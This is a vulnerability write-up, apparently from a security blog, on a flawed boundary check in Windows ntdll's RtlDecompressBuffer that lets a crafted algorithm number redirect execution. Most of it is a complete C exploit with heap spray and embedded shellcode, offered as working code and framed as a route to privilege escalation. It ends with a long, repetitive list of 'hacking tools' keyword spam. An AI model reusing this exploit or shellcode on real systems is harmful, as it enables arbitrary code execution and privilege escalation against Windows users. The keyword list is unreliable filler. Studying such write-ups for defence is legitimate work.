RtlDecompresBuffer Vulnerability

Introduction

The RtlDecompressBuffer is a WinAPI implemented on ntdll that is often used by browsers and applications and also by malware to decompress buffers compressed on LZ algorithms for example LZNT1.

The first parameter of this function is a number that represents the algorithm to use in the decompression, for example the 2 is the LZNT1. This algorithm switch is implemented as a callback table with the pointers to the algorithms, so the boundaries of this table must be controlled for avoiding situations where the execution flow is redirected to unexpected places, specially controlled heap maps.

The algorithms callback table







Notice the five nops at the end probably for adding new algorithms in the future.

The way to jump to this pointers depending on the algorithm number is:
call RtlDecompressBufferProcs[eax*4]

The bounrady checks

We control eax because is the algorithm number, but the value of eax is limited, let's see the boudary checks:

int  RtlDecompressBuffer(unsigned __int8 algorithm, int a2, int a3, int a4, int a5, int a6) {   int result; // eax@4    if ( algorithm & algorithm != 1 )   {     if ( algorithm & 0xF0 )       result = -1073741217;     else       result = ((int (__stdcall *)(int, int, int, int, int))RtlDecompressBufferProcs[algorithm])(a2, a3, a4, a5, a6);   }   else   {     result = -1073741811;   }   return result; }

Regarding that decompilation seems that we can only select algorithm number from 2 to 15, regarding that  the algorithm 9 is allowed and will jump to 0x90909090, but we can't control that addess.

let's check the disassembly on Win7 32bits:

• the movzx limits the boundaries to 16bits
• the test ax, ax avoids the algorithm 0
• the cmp ax, 1 avoids the algorithm 1
• the test al, 0F0h limits the boundary .. wait .. al?

Let's calc the max two bytes number that bypass the test al, F0h

unsigned int max(void) {
        __asm__("xorl %eax, %eax");
        __asm__("movb $0xff, %ah");
        __asm__("movb $0xf0, %al");
}

int main(void) {
        printf("max: %u\n", max());
}

The value is 65520, but the fact is that is simpler than that, what happens if we put the algorithm number 9? 

So if we control the algorithm number we can redirect the execution flow to 0x55ff8890 which can be mapped via spraying.

Proof of concept

This exploit code, tells to the RtlDecompresBuffer to redirect the execution flow to the address 0x55ff8890 where is a map with the shellcode. To reach this address the heap is sprayed creating one Mb chunks to reach this address.

The result on WinXP:

The result on Win7 32bits:

And the exploit code:

/*     ntdll!RtlDecompressBuffer() vtable exploit + heap spray     by @sha0coder  */  #include  #include  #include   #define KB  1024 #define MB  1024*KB #define BLK_SZ 4096 #define ALLOC 200 #define MAGIC_DECOMPRESSION_AGORITHM 9  // WinXP Calc shellcode from http://shell-storm.org/shellcode/files/shellcode-567.php /* unsigned char shellcode[] = "\xeB\x02\xBA\xC7\x93" "\xBF\x77\xFF\xD2\xCC" "\xE8\xF3\xFF\xFF\xFF" "\x63\x61\x6C\x63"; */  // https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html char *shellcode =        "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"        "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"        "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"        "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"        "\x57\x78\x01\xc2\x8b\x7a\x20\x01"        "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"        "\x45\x81\x3e\x43\x72\x65\x61\x75"        "\xf2\x81\x7e\x08\x6f\x63\x65\x73"        "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"        "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"        "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"        "\xb1\xff\x53\xe2\xfd\x68\x63\x61"        "\x6c\x63\x89\xe2\x52\x52\x53\x53"        "\x53\x53\x53\x53\x52\x53\xff\xd7";   PUCHAR landing_ptr = (PUCHAR)0x55ff8b90; // valid for Win7 and WinXP 32bits  void fail(const char *msg) {   printf("%s\n\n", msg);   exit(1); }  PUCHAR spray(HANDLE heap) {   PUCHAR map = 0;    printf("Spraying ...\n");   printf("Aproximating to %p\n", landing_ptr);    while (map < landing_ptr-1*MB) {     map = HeapAlloc(heap, 0, 1*MB);   }    //map = HeapAlloc(heap, 0, 1*MB);    printf("Aproximated to [%x - %x]\n", map, map+1*MB);     printf("Landing adddr: %x\n", landing_ptr);   printf("Offset of landing adddr: %d\n", landing_ptr-map);    return map; }  void landing_sigtrap(int num_of_traps) {   memset(landing_ptr, 0xcc, num_of_traps); }  void copy_shellcode(void) {   memcpy(landing_ptr, shellcode, strlen(shellcode));  }  int main(int argc, char **argv) {   FARPROC RtlDecompressBuffer;   NTSTATUS ntStat;   HANDLE heap;   PUCHAR compressed, uncompressed;   ULONG compressed_sz, uncompressed_sz, estimated_uncompressed_sz;    RtlDecompressBuffer = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlDecompressBuffer");    heap = GetProcessHeap();    compressed_sz = estimated_uncompressed_sz = 1*KB;    compressed = HeapAlloc(heap, 0, compressed_sz);    uncompressed = HeapAlloc(heap, 0, estimated_uncompressed_sz);     spray(heap);   copy_shellcode();   //landing_sigtrap(1*KB);   printf("Landing ...\n");    ntStat = RtlDecompressBuffer(MAGIC_DECOMPRESSION_AGORITHM, uncompressed, estimated_uncompressed_sz, compressed, compressed_sz, &uncompressed_sz);    switch(ntStat) {     case STATUS_SUCCESS:       printf("decompression Ok!\n");       break;      case STATUS_INVALID_PARAMETER:       printf("bad compression parameter\n");       break;       case STATUS_UNSUPPORTED_COMPRESSION:       printf("unsuported compression\n");       break;      case STATUS_BAD_COMPRESSION_BUFFER:       printf("Need more uncompressed buffer\n");       break;      default:       printf("weird decompression state\n");       break;   }    printf("end.\n"); } 

The attack vector

 
 This API is called very often in the windows system, and also is called by browsers, but he attack vector is not common, because the apps that call this API trend to hard-code the algorithm number, so in a normal situation we don't control the algorithm number. But if there is a privileged application service or a driver that let to switch the algorithm number, via ioctl, config, etc. it can be used to elevate privileges on win7
 
 
 

More info

1. Hacker Tools Hardware
2. Nsa Hacker Tools
3. Hack Website Online Tool
4. Pentest Tools For Mac
5. Hacking App
6. Pentest Recon Tools
7. Free Pentest Tools For Windows
8. How To Hack
9. Pentest Tools Download
10. Pentest Tools Review
11. Hack Apps
12. Hacking Tools 2019
13. Hack Tool Apk No Root
14. Termux Hacking Tools 2019
15. Nsa Hack Tools
16. Pentest Tools Website
17. Tools 4 Hack
18. Hacking Tools
19. Hacker Tools For Mac
20. Hacking Tools Mac
21. Hacking Tools Kit
22. Hack Tools For Games
23. Pentest Tools Review
24. New Hack Tools
25. Hacking Tools
26. Hack Tools Download
27. Pentest Tools
28. Hack Tools For Windows
29. Install Pentest Tools Ubuntu
30. Hacker Tools Mac
31. Best Hacking Tools 2020
32. Hacking Tools Mac
33. Hack Tools Download
34. Hacker
35. Hack Apps
36. Underground Hacker Sites
37. Usb Pentest Tools
38. Hacking Tools Software
39. Tools 4 Hack
40. Pentest Tools Apk
41. Hack Website Online Tool
42. How To Hack
43. Pentest Tools For Mac
44. Install Pentest Tools Ubuntu
45. Hack Tools Mac
46. Usb Pentest Tools
47. Hack Tools 2019
48. Usb Pentest Tools
49. Game Hacking
50. Hacking Tools For Beginners
51. Hack Tools For Games
52. Pentest Tools Linux
53. How To Hack
54. Tools Used For Hacking
55. Hackers Toolbox
56. Beginner Hacker Tools
57. Pentest Tools Find Subdomains
58. Nsa Hacker Tools
59. Hacker Tools Free Download
60. Pentest Tools Download
61. Hacking Tools For Beginners
62. Hacker Tools List
63. Hacker Techniques Tools And Incident Handling
64. Hacker Tools Free Download
65. Hack Apps
66. Pentest Tools Github
67. New Hacker Tools
68. Hacking Tools For Kali Linux
69. Hacker Tool Kit
70. Install Pentest Tools Ubuntu